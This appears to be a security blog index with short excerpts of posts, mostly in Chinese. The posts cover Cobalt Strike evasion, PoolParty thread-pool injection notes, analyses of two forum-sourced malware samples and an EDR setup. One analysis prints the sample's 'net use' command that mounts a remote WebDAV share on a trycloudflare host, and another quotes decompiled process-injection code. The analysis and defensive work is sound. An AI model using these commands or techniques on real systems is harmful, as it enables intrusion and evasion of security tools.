Advanced Techniques for Cobalt Strike Evasion and Detection Bypass Note: This is my first blog post in English, so I welcome any feedback on clarity or style. In this article I describe how we...

记录学习Poolparty注入技术的笔记 - 2025-5-21 poolparty，一种只需要在远程线程中分配和写入操作，而无需执行操作的注入技术，其核心是利用了windows的线程池作为攻击对象 由于其并没有直接执行shellcode，所以大部分edr/av无法检测（当时，现在就不一定了） SafeBreach原文地址 第一种注入技术 复写workerfactory Startro...

本样本来自卡饭论坛(Kafan) 样本行为&逆向 命令行注入分支 v5 = strstr(GetCommandLineA(), "-proc "); if ( v5 ) { DWORD pid = sub_170122D18(v5 + 6); HANDLE h = OpenProcess(SYNCHRONIZE, FALSE, pid); W...

本样本来自卡饭论坛(Kafan) 样本行为概述 双击执行 .BAT 文件后，调用 net 组件加载远程共享磁盘： net use Z: "\\digital-childrens-junior-cure.trycloudflare.com@SSL\DavWWWRoot" /user:your-username your-password /persistent:no ...

目录 引言 威胁现状分析 传统EPP/EDR的局限 初步尝试 Elastic + SentinelOne 组合实践 总结与展望 引言 有人可能认为，在当下的网络环境中，只要保持良好的上网习惯，甚至不装杀毒软件就足够了。但实际上，情况并非如此。如今的网络威胁与2000年左右病毒作者猖獗、特征明显的时代已经大不相同。现在的病毒更加隐蔽，威胁等级更高，越来越多...